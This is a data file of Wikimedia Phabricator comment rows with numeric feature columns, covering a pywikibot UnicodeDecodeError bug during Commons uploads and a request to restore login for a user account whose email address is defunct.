I doubt that - someone must have database access.",,,1432072020,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9285714285714286,"QUOTE
QUOTE

I doubt that - someone must have database access."
461095,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Hmm, we normally don't just delete user accounts...
Furthermore, noone else can change a user's email address.
Even though not verified, could @Meno25 log in via Wikimedia's SUL and access https://phabricator.wikimedia.org/settings/panel/email/ to change the email address and add a new one?",,,1432071151,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,2.0,8.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.019607843137255,0.803921568627451,"Hmm, we normally don't just delete user accounts...
Furthermore, noone else can change a user's email address.
Even though not verified, couldSCREEN_NAME log in via Wikimedia's SUL and access URL to change the email address and add a new one?"
460018,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"@Krenair:
""[...] it is OK for me if the email address of the account was changed. --Meno25 (talk) 17:47, 17 May 2015 (UTC)""
from the link in the description.",,,1431885061,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,12.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,3.116279069767442,0.813953488372093,"SCREEN_NAME:
""[...] it is OK for me if the email address of the account was changed. --Meno25 (talk) 17:47, 17 May 2015 (UTC)""
from the link in the description."
460017,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"@Krenair:
""[...] it is OK for me if the email address of the account was changed. --Meno25 (talk) 17:47, 17 May 2015 (UTC)"" from the link in the description.",,,1431885044,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,12.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,3.1666666666666665,0.8333333333333334,"SCREEN_NAME:
""[...] it is OK for me if the email address of the account was changed. --Meno25 (talk) 17:47, 17 May 2015 (UTC)"" from the link in the description."
460011,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"It doesn't appear to have been used, why don't we just change the email on it to match the email on the attached MediaWiki account?",,,1431884085,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,14.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,10.0,14.0,3.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.689655172413793,0.7931034482758621,"It doesn't appear to have been used, why don't we just change the email on it to match the email on the attached MediaWiki account?"
99366,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"On an upload of ""File:Scanwings, OH-BCX, Beechcraft C90 King Air (17512831479).jpg"" to Commons: 

Using HEAD, upload fail with a loophole of

```
ERROR: Traceback (most recent call last):
  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1555, in submit
    body=body, headers=headers)
  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 950, in wrapper
    return obj(*__args, **__kw)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 269, in request
    r = fetch(baseuri, method, body, headers, **kwargs)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 370, in fetch
    error_handling_callback(request)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 287, in error_handling_callback
    raise request.data
UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)

WARNING: Waiting 5 seconds before retrying.
```

After debugging, I found all versions after 1e54a7d6886d56a21101900025038e25bab5ad03 has the same error, while version before raises an (expected) exception that is handled in botscript:
  
```
KeyError: u'bad-prefix'
```
(raised in https://github.com/wikimedia/mediawiki/blob/84899f991ff44f36b7359f0bbf8de2955b81a904/includes/upload/UploadBase.php#L1834)
  
I agree that some errors should be prevented from uploading. But why is there a UnicodeDecodeError leading to a loophole?",Medium,50.0,1431787184,1499769348.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-vji32kosvdjphqtxtr7a,task_description,declined,True,c3,1,True,False,False,-7,True,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,13.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,25.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,13.0,12.0,1.0,3.0,0.0,1.0,0.0,1.0,6.0,0.0,4.0,0.0,0.0,0.0,3.8656716417910446,0.7761194029850746,"On an upload of ""File:Scanwings, OH-BCX, Beechcraft C90 King Air (17512831479).jpg"" to Commons: 

Using HEAD, upload fail with a loophole of

``CODE`CODE`CODE``
(raised in URL
  
I agree that some errors should be prevented from uploading. But why is there a UnicodeDecodeError leading to a loophole?"
891252,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),requests is required for pywikibot instead of http2lib,,,1499769348,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,105,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.875,1.0,requests is required for pywikibot instead of http2lib
508941,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Change 211522 abandoned by Merlijn van Deen:
Make sure all comms code works with native str

Reason:
Or not.

[[https://gerrit.wikimedia.org/r/211522]]",,,1439649154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,False,,,6,True,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.5161290322580645,0.8387096774193549,"Change 211522 abandoned by Merlijn van Deen:
Make sure all comms code works with native str

Reason:
Or not.

[[GERRIT_URL]]"
500741,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),Requests is installed globally on tool labs grid engines. Should be up to date with apt repo. (It has been a while since I read the puppet files though),,,1438451761,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,15.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.757575757575758,0.9696969696969697,Requests is installed globally on tool labs grid engines. Should be up to date with apt repo. (It has been a while since I read the puppet files though)
500739,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Added traceback.print_exc() and got:
```
Traceback (most recent call last):
  File ""/data/project/yifeibot/panrb/pywikibot/comms/http.py"", line 258, in _http_process
    verify=True, timeout=timeout)
  File ""/usr/lib/python2.7/dist-packages/requests/sessions.py"", line 357, in request
    resp = self.send(prep, **send_kwargs)
  File ""/usr/lib/python2.7/dist-packages/requests/sessions.py"", line 460, in send
    r = adapter.send(request, **kwargs)
  File ""/usr/lib/python2.7/dist-packages/requests/adapters.py"", line 319, in send
    timeout=timeout
  File ""/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py"", line 542, in urlopen
    body=body, headers=headers)
  File ""/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py"", line 367, in _make_request
    conn.request(method, url, **httplib_request_kw)
  File ""/usr/lib/python2.7/httplib.py"", line 966, in request
    self._send_request(method, url, body, headers)
  File ""/usr/lib/python2.7/httplib.py"", line 1000, in _send_request
    self.endheaders(body)
  File ""/usr/lib/python2.7/httplib.py"", line 962, in endheaders
    self._send_output(message_body)
  File ""/usr/lib/python2.7/httplib.py"", line 820, in _send_output
    msg += message_body
UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1993: ordinal not in range(128)
ERROR: Traceback (most recent call last):
  File ""/data/project/yifeibot/panrb/pywikibot/data/api.py"", line 1699, in submit
    body=body, headers=headers)
  File ""/data/project/yifeibot/panrb/pywikibot/tools/__init__.py"", line 1227, in wrapper
    return obj(*__args, **__kw)
  File ""/data/project/yifeibot/panrb/pywikibot/comms/http.py"", line 246, in request
    r = fetch(baseuri, method, body, headers, **kwargs)
  File ""/data/project/yifeibot/panrb/pywikibot/comms/http.py"", line 363, in fetch
    error_handling_callback(request)
  File ""/data/project/yifeibot/panrb/pywikibot/comms/http.py"", line 280, in error_handling_callback
    raise request.data
UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1993: ordinal not in range(128)

WARNING: Waiting 40 seconds before retrying.
```",,,1438451507,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.7692307692307693,"Added traceback.print_exc() and got:
``CODE``"
500738,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),Are you sure you are using the master branch with requests and in any case do you have a stacktrace?,,,1438450392,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,4,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,10.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.857142857142857,0.9047619047619048,Are you sure you are using the master branch with requests and in any case do you have a stacktrace?
500737,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"For some reason, master branch also fail on tool labs grid engine with very similiar exception (UnicodeDecodeError raised in error_handling_callback). The exception does not happen on bastion hosts and so I didn't observe it earlier. @Yuvipanda is there a console encoding or something set to ASCII on grid?",,,1438450272,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,4,True,2.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,11.0,13.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,11.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,13.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.745454545454545,0.9090909090909091,"For some reason, master branch also fail on tool labs grid engine with very similiar exception (UnicodeDecodeError raised in error_handling_callback). The exception does not happen on bastion hosts and so I didn't observe it earlier.SCREEN_NAME is there a console encoding or something set to ASCII on grid?"
494477,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"This is fixed for the master (requests) branch, but this issue still persists in the 2.0 branch.",,,1437507597,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8095238095238093,0.9047619047619048,"This is fixed for the master (requests) branch, but this issue still persists in the 2.0 branch."
478653,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"I haven't looked into the script for a while, but it seems working with latest version.",,,1434869478,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,3.789473684210526,1.0,"I haven't looked into the script for a while, but it seems working with latest version."
468184,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Is this fixed with the switch to requests?

We have upload tests which are not run by travis; do they work?  Do we need to add more tests to cover this scenario?",,,1433331411,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,8.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,8.0,13.0,3.0,8.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.4473684210526314,0.8421052631578947,"Is this fixed with the switch to requests?

We have upload tests which are not run by travis; do they work?  Do we need to add more tests to cover this scenario?"
466106,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),Any updates?,,,1432964592,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-5,True,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Any updates?
459972,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Change 211522 had a related patch set uploaded (by Merlijn van Deen):
Make sure all comms code works with native str

[[https://gerrit.wikimedia.org/r/211522]]
",,,1431868499,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,False,,,-7,True,3.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6774193548387095,0.9032258064516129,"Change 211522 had a related patch set uploaded (by Merlijn van Deen):
Make sure all comms code works with native str

[[GERRIT_URL]]
"
459960,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),I'll take a closer look at this later but it seems that we should encode all header entries to ASCII before we are sending it away. I guess in Python 3 httplib2 is doing that for us.,,,1431864560,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,12.0,0.0,5.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,18.0,15.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,3.65,0.875,I'll take a closer look at this later but it seems that we should encode all header entries to ASCII before we are sending it away. I guess in Python 3 httplib2 is doing that for us.
459958,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"There are several issues. The requests has several unicode parts, which causes the entire request to be cast to a unicode string. Of course, this fails once we want to send binary data (namely, the file contents). At least the following ones are wrong:

* **u'POST /w/api.php HTTP/1.1'**
* 'Host: commons.wikimedia.org'
* 'Content-Length: 743405'
* 'accept-encoding: gzip, deflate'
* **u'user-agent: test (commons:commons; User:Valhallasw) Pywikibot/2.0b3 (g5524) httplib2/0.9 Python/2.7.6.final.0'**
* **u'connection: keep-alive'**
* 'cookie: (...)'
* 'content-type: multipart/form-data; boundary=""===============1715999916774184062==""'
* 'mime-version: 1.0'

and this may have something to do with the introduction of unicode_literals at some place.",,,1431863707,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,1.5,0.5,0.0,0.5,0.0,7.0,0.5,0.0,0.0,0.0,0.5,8.0,0.0,0.0,0.5,0.5,0.0,1.5,5.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,6.0,0.5,0.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,0.5,5.0,3.5,0.0,8.5,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.5,3.664835164835165,0.6153846153846154,"There are several issues. The requests has several unicode parts, which causes the entire request to be cast to a unicode string. Of course, this fails once we want to send binary data (namely, the file contents). At least the following ones are wrong:

* **u'POST /w/api.php HTTP/1.1'**
* 'Host: commons.wikimedia.org'
* 'Content-Length: 743405'
* 'accept-encoding: gzip, deflate'
* **u'user-agent: test (commons:commons; User:Valhallasw) Pywikibot/2.0b3 (g5524) httplib2/0.9 Python/2.7.6.final.0'**
* **u'connection: keep-alive'**
* 'cookie: (...)'
* 'content-type: multipart/form-data; boundary=""===============1715999916774184062==""'
* 'mime-version: 1.0'

and this may have something to do with the introduction of unicode_literals at some place."
459955,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"I tried the following...

```
# this image is https://flic.kr/p/t2nWxA
wget https://farm9.staticflickr.com/8880/17737230072_d678b9f089_o_d.jpg

# then
python pwb.py shell
```

and then in the python shell

```
import pywikibot
site = pywikibot.Site('commons', 'commons')
site.login() # site.upload does not do this itself for some reason
site.upload(pywikibot.FilePage(site, ""File:Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg""), source_filename=""17737230072_d678b9f089_o_d.jpg"", comment=""Testing [[phab:T99366]] / [[Commons:Bots|Bot]]: Uploading files from Flickr"", ignore_warnings=False)
```

